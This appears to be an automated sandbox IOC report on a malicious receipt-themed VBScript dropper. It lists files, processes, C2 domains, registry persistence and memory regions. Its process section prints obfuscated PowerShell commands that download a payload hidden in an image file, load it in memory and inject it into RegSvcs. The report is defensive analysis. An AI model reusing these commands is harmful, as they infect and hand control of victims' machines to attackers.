IOC Report
I7336446-receipt.vbs

loading gif

Files

File Path
Type
Category
Malicious
I7336446-receipt.vbs
Unicode text, UTF-16, little-endian text, with CRLF line terminators
initial sample
 malicious
C:\ProgramData\moquenqueiro.vbs
ASCII text, with CRLF line terminators
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\8RAqVdhv[1].txt
Unicode text, UTF-8 text, with very long lines (11817), with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
data
dropped
C:\Users\user\AppData\Local\Temp\Log.tmp
ASCII text, with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_35hq3ecz.3sv.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_meb2bckw.vph.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ndz3cgqd.3d5.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rqxthlip.gjv.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RegSvcs.lnk
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sat May 4 06:48:48 2024, mtime=Sat May 4 06:48:48 2024, atime=Sat May 4 06:48:48 2024, length=45984, window=hide
dropped
C:\Users\user\AppData\Roaming\RegSvcs.exe
PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
dropped
\Device\Mup\user-PC*\MAILSLOT\NET\NETLOGON
data
dropped
\Device\Mup\user-PC\PIPE\samr
GLS_BINARY_LSB_FIRST
dropped
\Device\Mup\user-PC\PIPE\wkssvc
GLS_BINARY_LSB_FIRST
dropped
There are 4 hidden files, click here to show them.

Processes

Path
Cmdline
Malicious
C:\Windows\System32\wscript.exe
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\I7336446-receipt.vbs"
 malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreeQBhDgTreG0DgTrebwB3DgTreHgDgTreLwBtDgTreG4DgTreLwBtDgTreG8DgTreYwDgTreuDgTreDcDgTreMgBlDgTreHYDgTrebDgTreBvDgTreHYDgTreZQDgTreuDgTreHcDgTredwB3DgTreC8DgTreLwDgTre6DgTreHMDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreMQDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreQwDgTre6DgTreFwDgTreUDgTreByDgTreG8DgTreZwByDgTreGEDgTrebQBEDgTreGEDgTredDgTreBhDgTreFwDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreG0DgTrebwBxDgTreHUDgTreZQBuDgTreHEDgTredQBlDgTreGkDgTrecgBvDgTreCcDgTreLDgTreDgTrenDgTreFIDgTreZQBnDgTreFMDgTredgBjDgTreHMDgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.yamowx/mn/moc.72evlove.www//:sptth' , '1' , 'C:\ProgramData\' , 'moquenqueiro','RegSvcs',''))} }"
malicious
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\moquenqueiro.vbs"
 malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe"
 malicious
C:\Windows\System32\wscript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\moquenqueiro.vbs"
malicious
C:\Windows\System32\wscript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\moquenqueiro.vbs"
malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

URLs

Name
IP
Malicious
http://pesterbdd.com/images/Pester.png
unknown
 malicious
xwormay8450.duckdns.org
malicious
https://uploaddeimagens.com.br
unknown
 malicious
https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029
172.67.215.45
 malicious
http://app01.system.com.br/RDWeb/Pages/login.aspx
unknown
 malicious
https://pastebin.com/raw/8RAqVdhvKos
unknown
http://nuget.org/NuGet.exe
unknown
http://crl.microsoftF
unknown
https://pastebin.com/raw/8RAqVdhvtart
unknown
http://www.apache.org/licenses/LICENSE-2.0.html
unknown
http://www.microsoft.co
unknown
https://contoso.com/License
unknown
https://contoso.com/Icon
unknown
http://app01.system.com.br/RDWeb/Pages/login.aspx4
unknown
http://app01.system.com.br/RDWeb/Pages/login.aspx0
unknown
https://aka.ms/pscore6
unknown
http://uploaddeimagens.com.br
unknown
https://www.evolve27.com/nm/xwomay.txt
131.153.147.50
https://github.com/Pester/Pester
unknown
https://pastebin.com/l
unknown
https://pastebin.com/raw/8RAqVdhv
172.67.19.24
http://app01.system.com.br/RDWeb/Pages/login.aspxd
unknown
https://contoso.com/
unknown
https://nuget.org/nuget.exe
unknown
https://pastebin.com/raw/8RAqVdhvl
unknown
https://aka.ms/pscore68
unknown
https://pastapohyalbin.com/raw/8RAqVdhv
unknown
https://pastebin.com/
unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
unknown
There are 19 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
xwormay8450.duckdns.org
12.221.146.138
 malicious
uploaddeimagens.com.br
172.67.215.45
 malicious
www.evolve27.com
unknown
 malicious
evolve27.com
131.153.147.50
pastebin.com
172.67.19.24

IPs

IP
Domain
Country
Malicious
12.221.146.138
xwormay8450.duckdns.org
United States
malicious
172.67.215.45
uploaddeimagens.com.br
United States
malicious
172.67.19.24
pastebin.com
United States
131.153.147.50
evolve27.com
United States

Registry

Path
Value
Malicious
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Path
 malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
There are 5 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
402000
remote allocation
page execute and read and write
 malicious
2A71000
trusted library allocation
page read and write
 malicious
5720000
heap
page read and write
1D5FAEA7000
heap
page read and write
17BBAD04000
trusted library allocation
page read and write
4FEE000
stack
page read and write
D13000
heap
page read and write
56FF7FD000
stack
page read and write
1EA10470000
heap
page read and write
7FFD34982000
trusted library allocation
page read and write
1B71CD3000
stack
page read and write
56FFAFF000
stack
page read and write
1EA1046E000
heap
page read and write
1D5FAEA4000
heap
page read and write
28AB18D000
stack
page read and write
1EA111CE000
heap
page read and write
1EA11366000
heap
page read and write
138EAF19000
heap
page read and write
138E909C000
heap
page read and write
17BAD0AA000
trusted library allocation
page read and write
1B722F9000
stack
page read and write
17BA89E5000
heap
page read and write
1D5FAEB8000
heap
page read and write
7FFD347AD000
trusted library allocation
page execute and read and write
1EA0E6E1000
heap
page read and write
1FD4C3BA000
heap
page read and write
1EA1045E000
heap
page read and write
1EA11140000
heap
page read and write
1D5F8ECF000
heap
page read and write
17BA8B30000
heap
page read and write
1EA10710000
remote allocation
page read and write
16A9BD54000
heap
page read and write
1D5F8EF4000
heap
page read and write
1EA10444000
heap
page read and write
742037E000
stack
page read and write
1FD4C390000
heap
page execute and read and write
1FD32560000
trusted library allocation
page read and write
1FD322D0000
heap
page read and write
1D5FB399000
heap
page read and write
56FD000
trusted library allocation
page read and write
1EA107B9000
heap
page read and write
1EA107D0000
heap
page read and write
1EA10464000
heap
page read and write
138EAEE0000
heap
page read and write
1120000
trusted library allocation
page execute and read and write
1FD3437C000
trusted library allocation
page read and write
1FD4C510000
heap
page read and write
7FFD34940000
trusted library allocation
page read and write
1EA1046E000
heap
page read and write
1FD34444000
trusted library allocation
page read and write
1EA0E6B4000
heap
page read and write
1EA11383000
heap
page read and write
138E9080000
heap
page read and write
1D5FAED0000
heap
page read and write
1EA0E5C0000
heap
page read and write
138EAEC4000
heap
page read and write
138E909C000
heap
page read and write
1EA107B9000
heap
page read and write
1FD3477A000
trusted library allocation
page read and write
138EB3C5000
heap
page read and write
F30000
heap
page read and write
17BA8920000
heap
page read and write
1EA10D30000
heap
page read and write
1FD34337000
trusted library allocation
page read and write
17BAAE02000
trusted library allocation
page read and write
56FF5FF000
stack
page read and write
138EAEC0000
heap
page read and write
138EAFC1000
heap
page read and write
2A60000
heap
page execute and read and write
138EAEA7000
heap
page read and write
138EADC0000
heap
page read and write
1EA107F4000
heap
page read and write
138E909C000
heap
page read and write
1FD4C610000
heap
page read and write
1EA0E6B4000
heap
page read and write
1EA1081A000
heap
page read and write
1D5F8EC0000
heap
page read and write
1EA10458000
heap
page read and write
56FFDFB000
stack
page read and write
1EA1120E000
heap
page read and write
16A9BD6B000
heap
page read and write
1D5FAEE3000
heap
page read and write
1EA0E950000
heap
page read and write
17BAAE2E000
trusted library allocation
page read and write
1EA10487000
heap
page read and write
16A9BCD0000
heap
page read and write
1D5F8EC8000
heap
page read and write
1EA1045B000
heap
page read and write
7FFD34860000
trusted library allocation
page execute and read and write
138EAEC2000
heap
page read and write
56FF6FE000
stack
page read and write
1FD34887000
trusted library allocation
page read and write
1FD348DC000
trusted library allocation
page read and write
1D5FAE72000
heap
page read and write
16A9BD10000
direct allocation
page read and write
74203FB000
stack
page read and write
1B7320B000
stack
page read and write
1EA10442000
heap
page read and write
1D5FAE7A000
heap
page read and write
138EB1C0000
heap
page read and write
138EAEEB000
heap
page read and write
29FF000
stack
page read and write
7FFD34886000
trusted library allocation
page execute and read and write
10AA000
trusted library allocation
page execute and read and write
138E909C000
heap
page read and write
1EA108E0000
heap
page read and write
58AD000
stack
page read and write
1FD343F2000
trusted library allocation
page read and write
2AB3000
trusted library allocation
page read and write
7FFD349A0000
trusted library allocation
page read and write
17BAA6C0000
trusted library allocation
page read and write
7FFD34959000
trusted library allocation
page read and write
138EAF00000
heap
page read and write
1FD323C1000
heap
page read and write
1EA10450000
heap
page read and write
7FFD34A40000
trusted library allocation
page read and write
1EA1046E000
heap
page read and write
1D5FAEDD000
heap
page read and write
56F1000
trusted library allocation
page read and write
1EA11154000
heap
page read and write
138EAEA7000
heap
page read and write
1EA10440000
heap
page read and write
1EA107B9000
heap
page read and write
1150000
heap
page read and write
1EA1082A000
heap
page read and write
1FD32370000
heap
page read and write
7FFD34970000
trusted library allocation
page execute and read and write
1FD32570000
heap
page readonly
1FD4434A000
trusted library allocation
page read and write
1EA10450000
heap
page read and write
1EA0E5E0000
heap
page read and write
17BAADF2000
trusted library allocation
page read and write
1D5FAECB000
heap
page read and write
1EA1129A000
heap
page read and write
1B726BE000
stack
page read and write
1EA1122D000
heap
page read and write
1FD4C434000
heap
page read and write
1EA1130E000
heap
page read and write
17BA89E3000
heap
page read and write
1FD3440D000
trusted library allocation
page read and write
1EA10812000
heap
page read and write
138EAEC6000
heap
page read and write
17BAADFA000
trusted library allocation
page read and write
16A9BBF0000
heap
page read and write
1EA11340000
heap
page read and write
1FD32396000
heap
page read and write
138E909C000
heap
page read and write
5DBD000
stack
page read and write
1D5FAEF8000
heap
page read and write
138E908F000
heap
page read and write
17BAA336000
heap
page read and write
6373000
heap
page read and write
1D5FAEF8000
heap
page read and write
1FD32695000
heap
page read and write
1EA10970000
heap
page read and write
1EA10441000
heap
page read and write
1EA1131B000
heap
page read and write
1B7207E000
stack
page read and write
1D5F9090000
heap
page read and write
1D5FAECB000
heap
page read and write
138EAE9F000
heap
page read and write
1D5FAE9C000
heap
page read and write
7FFD34A50000
trusted library allocation
page read and write
1EA1130E000
heap
page read and write
1FD325C0000
heap
page execute and read and write
7FFD34A80000
trusted library allocation
page read and write
56E2000
trusted library allocation
page read and write
17BA897F000
heap
page read and write
1EA1130E000
heap
page read and write
741FCFE000
stack
page read and write
1D5FAE7A000
heap
page read and write
2A50000
trusted library allocation
page read and write
1FD3240A000
heap
page read and write
BA0000
heap
page read and write
1EA0E62C000
heap
page read and write
1EA0E6CA000
heap
page read and write
2AA6000
trusted library allocation
page read and write
1EA10854000
heap
page read and write
5CBE000
stack
page read and write
56F6000
trusted library allocation
page read and write
56D4000
trusted library allocation
page read and write
1EA11349000
heap
page read and write
56C9000
stack
page read and write
1EA1046E000
heap
page read and write
7FFD34AB0000
trusted library allocation
page read and write
1FD34860000
trusted library allocation
page read and write
138EAEF4000
heap
page read and write
1EA0E63F000
heap
page read and write
1D5F9265000
heap
page read and write
1EA1135E000
heap
page read and write
1EA0E6CA000
heap
page read and write
1FD32425000
heap
page read and write
1EA1044F000
heap
page read and write
138EAD50000
heap
page read and write
1D5FB265000
heap
page read and write
17BADAAA000
trusted library allocation
page read and write
3A99000
trusted library allocation
page read and write
114C3FE000
stack
page read and write
138EAF28000
heap
page read and write
1D5FAEA0000
heap
page read and write
17BAC26A000
trusted library allocation
page read and write
1EA0E688000
heap
page read and write
1384CFF000
stack
page read and write
1EA0E6BF000
heap
page read and write
1EA0E68E000
heap
page read and write
1EA0E6B1000
heap
page read and write
17BBC104000
trusted library allocation
page read and write
17BAEEAA000
trusted library allocation
page read and write
138EAF0D000
heap
page read and write
17BAA334000
heap
page read and write
1B71D5D000
stack
page read and write
17BBB704000
